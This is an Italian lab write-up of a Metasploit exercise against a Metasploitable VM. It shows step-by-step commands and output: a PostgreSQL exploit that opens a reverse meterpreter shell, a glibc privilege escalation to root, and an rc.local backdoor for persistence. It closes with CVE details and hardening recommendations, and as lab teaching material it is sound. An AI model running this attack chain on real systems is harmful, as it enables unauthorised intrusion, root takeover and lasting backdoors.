

METASPLOIT

VULNERABILITÀ PostgreSQL

1. OBIETTIVO

L'obiettivo è quello di tentare di sfruttare la vulnerabilità nel servizio PostgreSQL, tramite metasploit, e ottenere la sessione meterpeter. Fatto questo sfruttare i moduli del tool per scalare i privilegi e creare una backdoor. Lo scopo ultimo è quello di mettere in pratica lo studio teorico provando nuovi moduli e funzionalità.

2. CONFIGURAZIONE DI LABORATORIO

Collegare la macchina attaccante Kali con la macchina vittima, la metasploitable, mettendo le schede di rete sulla stessa rete interna. Lanciare il comando ping per verificare la connessione tra le macchine.

```
(kali㉿kali)-[~]  
$ ping -c 4 192.168.50.101  
PING 192.168.50.101 (192.168.50.101) 56(84) bytes of data.  
64 bytes from 192.168.50.101: icmp_seq=1 ttl=64 time=1.91 ms  
64 bytes from 192.168.50.101: icmp_seq=2 ttl=64 time=0.909 ms  
64 bytes from 192.168.50.101: icmp_seq=3 ttl=64 time=2.98 ms  
64 bytes from 192.168.50.101: icmp_seq=4 ttl=64 time=2.14 ms  
  
— 192.168.50.101 ping statistics —  
4 packets transmitted, 4 received, 0% packet loss, time 3005ms  
rtt min/avg/max/mdev = 0.909/1.984/2.980/0.737 ms
```

3. FASE DI ATTACCO

3.1 CREAZIONE DELLA SESSIONE

Da terminale aprire la console di metasploite e selezionare il modulo che sfrutta la vulnerabilità richiesta. Dopo averlo attivato si settano i parametri, in questo caso gli IP dell'attaccante e della macchina da compromettere. Fare attenzione a settare anche il payload giusto per l'architettura della macchina usata. Per dare inizio all'attacco usare il comando exploit.

```
msf > use exploit/linux/postgres/postgres_payload  
[*] Using configured payload linux/x86/meterpreter/reverse_tcp  
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST  
msf exploit(linux/postgres/postgres_payload) > set lhost 192.168.50.100  
lhost => 192.168.50.100  
msf exploit(linux/postgres/postgres_payload) > set rhosts 192.168.50.101  
rhosts => 192.168.50.101  
msf exploit(linux/postgres/postgres_payload) > exploit  
[*] Started reverse TCP handler on 192.168.50.100:4444  
[*] 192.168.50.101:5432 - 192.168.50.101:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)  
[*] 192.168.50.101:5432 - Uploaded as /tmp/eYXkKbT.so, should be cleaned up automatically  
[*] Sending stage (1062760 bytes) to 192.168.50.101  
[*] Meterpreter session 1 opened (192.168.50.100:4444 -> 192.168.50.101:43710) at 2026-07-22 15:38:53 -0400
```

Una volta entrati nella sessione lanciare il comando `getuid` per vedere il tipo di utente con cui siamo entrati e il comando `bg` per mettere la sessione in background.

```
meterpreter > getuid
Server username: postgres
meterpreter > bg
[*] Backgrounding session 1...
msf exploit(linux/postgres/postgres_payload) > search suggerer
```

3.2 SCALATA DEI PRIVILEGI

Per ottenere l'utente root bisogna lanciare il modulo post/multi/recon/local_exploit_suggester, che fa una scansione delle vulnerabilità sfruttabili per riuscire nella scalata.

```
msf exploit(linux/postgres/postgres_payload) > search suggerer

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -              -    -    -
0  post/multi/recon/local_exploit_suggester .              normal No     Multi Recon Local Exploit Suggester
1  post/multi/recon/persistence_suggester  .              normal No     Persistence Exploit Suggester

Interact with a module by name or index. For example info 1, use 1 or use post/multi/recon/persistence_suggester

msf exploit(linux/postgres/postgres_payload) > use post/multi/recon/local_exploit_suggester
```

Dopo averlo selezionato si imposta la sessione e si attiva la scansione.

```
msf post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf post(multi/recon/local_exploit_suggester) > run
[*] 192.168.50.101 - Collecting local exploits for x86/linux ...
[*] 192.168.50.101 - 255 exploit checks are being tried...
[+] 192.168.50.101 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable. GNU C Library version 2.7 appears to be vulnerable
[+] 192.168.50.101 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable. Target appears to be vulnerable
[+] 192.168.50.101 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable. Target appears to be vulnerable
[+] 192.168.50.101 - exploit/linux/local/ptrace_sudo_token_priv_esc: The service is running, but could not be validated. Target appears to be exploitable
[+] 192.168.50.101 - exploit/linux/local/su_login: The target appears to be vulnerable. Target appears to be vulnerable
[+] 192.168.50.101 - exploit/linux/persistence/autostart: The service is running, but could not be validated. Xorg is installed, possible desktop install.
[+] 192.168.50.101 - exploit/multi/persistence/cron: The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
[+] 192.168.50.101 - exploit/multi/persistence/ssh_key: The target appears to be vulnerable. Likely vulnerable
[+] 192.168.50.101 - exploit/unix/local/setuid_nmap: The target is vulnerable. /usr/bin/nmap is setuid
[*] 192.168.50.101 - Valid modules for session 1:
```

La scansione ha rilevato 9 vulnerabilità da verificare.

```
1  exploit/linux/local/glibc_ld_audit_dso_load_priv_esc          Yes
ry version 2.7 appears to be vulnerable
2  exploit/linux/local/glibc_origin_expansion_priv_esc          Yes
ars to be vulnerable
3  exploit/linux/local/netfilter_priv_esc_ipv4                  Yes
ars to be vulnerable
4  exploit/linux/local/ptrace_sudo_token_priv_esc                Yes
ed. Target appears to be exploitable
5  exploit/linux/local/su_login                                    Yes
ars to be vulnerable
6  exploit/linux/persistence/autostart                            Yes
ed. Xorg is installed, possible desktop install.
7  exploit/multi/persistence/cron                                Yes
is valid, no cron.deny entries found
8  exploit/multi/persistence/ssh_key                             Yes
erable
9  exploit/unix/local/setuid_nmap                                 Yes
d
```

Si seleziona il primo e si settano i parametri. In questo caso è necessario cambiare il payload ad uno compatibile con processori a 32bit.

```
[*] Post module execution completed
msf post(multi/recon/local_exploit_suggester) > use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
PAYLOAD => linux/x86/meterpreter/reverse_tcp
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set session 1
session => 1
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set lhost 192.168.50.100
lhost => 192.168.50.100
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run
[*] Started reverse TCP handler on 192.168.50.100:4444
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.lSxvnr' (1271 bytes) ...
[*] Writing '/tmp/.oXhjFBazXD' (276 bytes) ...
[*] Writing '/tmp/.8Sq5Rr5ub' (207 bytes) ...
[*] Launching exploit ...
[*] Sending stage (1062760 bytes) to 192.168.50.101
[*] Meterpreter session 2 opened (192.168.50.100:4444 -> 192.168.50.101:35534) at 2026-07-22 15:46:36 -0400
```

Si attiva il modulo e se andato tutto a buon fine si verifica all'interno della shell di meterpreter se si è diventati utenti root. Infine uscire dalla sessione con il comando bge si noti che si è aperta una seconda sessione che verrà usata per la fase successiva.

```
meterpreter > getuid
Server username: root
meterpreter > bg
[*] Backgrounding session 2 ...
```

3.3 ATTIVAZIONE DELLA BACKDOOR

Si cerca il modulo che scansiona le vulnerabilità che permettono di aprire la backdoor e lo si seleziona. Si controllano quali sono i parametri richiesti e una volta selezionati si avvia il modulo.

```
[*] Backgrounding session 2 ...
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > search suggester

Matching Modules
-----
#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  post/multi/recon/local_exploit_suggester .              normal No     Multi Recon Local Exploit Suggester
1  post/multi/recon/persistence_suggester  .              normal No     Persistence Exploit Suggester

Interact with a module by name or index. For example info 1, use 1 or use post/multi/recon/persistence_suggester
msf post(multi/recon/persistence_suggester) > use post/multi/recon/persistence_suggester
msf post(multi/recon/persistence_suggester) > options
[-] Unknown command: options. Did you mean options? Run the help command for more details.
msf post(multi/recon/persistence_suggester) > show options

Module options (post/multi/recon/persistence_suggester):

  Name                Current Setting  Required  Description
  -
SESSION              2               yes       The session to run this module on
SHOWDESCRIPTION       false           yes       Displays a detailed description for the available exploits

View the full module info with the info, or info -d command.
msf post(multi/recon/persistence_suggester) > run
```

Il modulo ha trovato 9 vettori d'attacco possibili, di questi presenti nell'immagine sottostante è consigliato il numero 6, perché è più stabile.

```

1 exploit/linux/persistence/apt_package_manager Yes
/tmp/ are writable, also found apt-get.
2 exploit/linux/persistence/autostart Yes
stalled, possible desktop install.
3 exploit/linux/persistence/bash_profile Yes
le exists and is writable: /root/.bashrc
4 exploit/linux/persistence/init_sysvinit Yes
tem is System V based
5 exploit/linux/persistence/init_upstart Yes
tem is upstart based
6 exploit/linux/persistence/rc_local Yes
7 exploit/linux/persistence/vim_plugin Yes
talled
8 exploit/multi/persistence/cron Yes
cron.deny entries found
9 exploit/multi/persistence/ssh_key Yes
10 exploit/linux/persistence/docker_image No

```

Una volta attivato si impostano i parametri e si avvia l'exploit.

```

msf exploit(linux/persistence/rc_local) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf exploit(linux/persistence/rc_local) >
[*] Started reverse TCP handler on 192.168.50.100:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Payloads in /tmp will only last until reboot, you want to choose elsewhere.
[*] The target appears to be vulnerable. /etc/rc.local is writable
[*] Payloads in /tmp will only last until reboot, you may want to choose elsewhere.
[*] Reading /etc/rc.local
[*] Created /etc/rc.local backup: /home/kali/.msf4/loot/20260723172006_default_192.168.50.101_rc.local_183273.txt
[*] Patching /etc/rc.local
[*] Payload will be triggered at next reboot
[*] Meterpreter-compatible Cleanup RC file: /home/kali/.msf4/logs/persistence/metasploitable.localdomain_20260723.2007/metasploitable.localdomain_20260723.2007.rc

```

Come si vede dall'immagine l'attacco è avvenuto con successo, si può ora testare la backdoor riavviando il target. Si può fare anche tramite la sessione di meterpreter.

```

meterpreter > shell
Process 5043 created.
Channel 37 created.
sudo reboot
[*] 192.168.50.101 - Meterpreter session 1 closed. Reason: Died
[*] 192.168.50.101 - Meterpreter session 2 closed. Reason: Died
[*] Sending stage (1062760 bytes) to 192.168.50.101
[*] Meterpreter session 3 opened (192.168.50.100:4444 → 192.168.50.101:38447) at 2026-07-23 17:22:15 -0400

```

Dall'immagine si può vedere che la backdoor funziona perfettamente, infatti le sessioni già presenti sono state chiuse e al momento di riavvio della Metasploitable è stata creata una nuova sessione.

```

[*] Send timed out: Timeout currently is seconds, you can configure this with sessions - interact <id> - timeout <value>
msf exploit(linux/persistence/rc_local) > sessions

Active sessions
=====

```

Id	Name	Type	Information	Connection
3		meterpreter	x86/linux root @ metasploitable.localdomain	192.168.50.100:4444 → 192.168.50.101:38447 (192.168.50.101)

```

msf exploit(linux/persistence/rc_local) > |

```

4. CONCLUSIONE

Con questo laboratorio abbiamo seguito diverse fasi dell'attacco che ha permesso, dopo aver ottenuto l'accesso remoto della vittima, di poter eseguire una scalata dei privilegi e impostare una backdoor, che assicura connessioni successive con il target per attacchi prolungati. Metasploit è un tool estremamente efficace e utile perché automatizza tutto il processo velocizzando l'exploit e rendendolo più mirato.

4.1 VULNERABILITÀ E RACCOMANDAZIONI

linux/postgres/postgres_payload:

VULNERABILITÀ SFRUTTATA: Esecuzione Remota di Codice (RCE) tramite PostgreSQL (CVE-2019-9193 o credenziali di rete/UDF insicure)

MECCANISMO D'ATTACCO : Sfrutta la presenza di credenziali deboli o predefinite nel servizio PostgreSQL (porta TCP 5432). Una volta autenticato nel database, il modulo carica ed esegue un payload arbitrario (es. librerie custom o comandi di sistema) sfruttando le funzioni native del DBMS.

RACCOMANDAZIONI:

1. **Autenticazione:** Modificare le password di default dell'utente `postgres` e applicare politiche di password complesse nel file `pg_hba.conf`.
2. **Segregazione di rete:** Configurare il firewall per limitare l'accesso alla porta 5432 solo agli host autorizzati (es. l'applicazione web).
3. **Minimo privilegio:** Assicurarsi che il demone PostgreSQL sia eseguito da un utente di sistema senza privilegi elevati né permessi di `sudo`.

exploit/linux/local/glibc_ld_audit_dso_load_priv_esc

VULNERABILITÀ SFRUTTATA: glibc LD_AUDIT Dynamic Shared Object Arbitrary Load Privilege Escalation (CVE-2010-3856 / CVE-2010-3847).

MECCANISMO D'ATTACCO: Il modulo sfrutta un difetto nel linker dinamico della GNU C Library (glibc, in particolare nella gestione della variabile d'ambiente LD_AUDIT). Quando un utente non privilegiato esegue un programma con bit SUID (Set User ID), la libreria dinamica carica oggetti condivisi (DSO) specificati in LD_AUDIT senza eseguire i necessari controlli sui percorsi dei file e sui permessi. Questo consente di caricare ed eseguire codice arbitrario nell'ambiente del processo SUID con i privilegi elevati dell'utente proprietario del binario (tipicamente root).

RACCOMANDAZIONI:

- **Aggiornamento di Sistema (Patching):** Aggiornare il pacchetto `glibc` a una versione corretta che sanifichi o ignori la variabile LD_AUDIT per i binari SUID/SGID.
- **Hardening del Linker e del Kernel:** Assicurarsi che le funzionalità di sicurezza del kernel (come le restrizioni sui binari SUID) siano attive. Mantenere aggiornato il kernel Linux per beneficiare dei controlli di sicurezza nativi sulle variabili d'ambiente nei processi privilegiati.
- **Riduzione dei Binari SUID:** Condurre audit periodici del filesystem per individuare e rimuovere il bit SUID dai file binari che non ne hanno strettamente bisogno:

exploit/linux/persistence/rc_local:

VULNERABILITÀ SFRUTTATA: Boot or Logon Initialization Scripts: rc.local (MITRE ATT&CK ID: T1037.004).

MECCANISMO D'ATTACCO: In molti sistemi Linux legacy o configurati per la retrocompatibilità, i comandi presenti in /etc/rc.local vengono eseguiti automaticamente con privilegi di root ad ogni avvio del sistema. L'attacco garantisce che la sessione d'accesso o la reverse shell venga ripristinata automaticamente al riavvio del server.

RACCOMANDAZIONI:

- **Disabilitazione o Deprecazione di rc.local:** Sui sistemi Linux moderni basati su systemd, disabilitare il servizio legacy rc-local.service o assicurarsi che il file /etc/rc.local non esista se non strettamente necessario.
- **Gestione dei Permessi e Restrizione Accessi:** Se il file deve essere presente, restringerne rigorosamente i permessi in lettura e scrittura, assegnando la proprietà esclusivamente all'utente root (chmod 700 /etc/rc.local e chown root:root /etc/rc.local).
- **File Integrity Monitoring (FIM):** Implementare soluzioni di monitoraggio dell'integrità dei file (es. AIDE, Tripwire o agenti EDR) per rilevare immediatamente modifiche non autorizzate ai file di avvio critici come /etc/rc.local, /etc/init.d/, /etc/crontab o i servizi systemd.

Audit e Logging delle Attività: Utilizzare il framework auditd di Linux per tracciare e registrare qualsiasi tentativo di scrittura o modifica sui file di configurazione di sistema nella directory /etc/.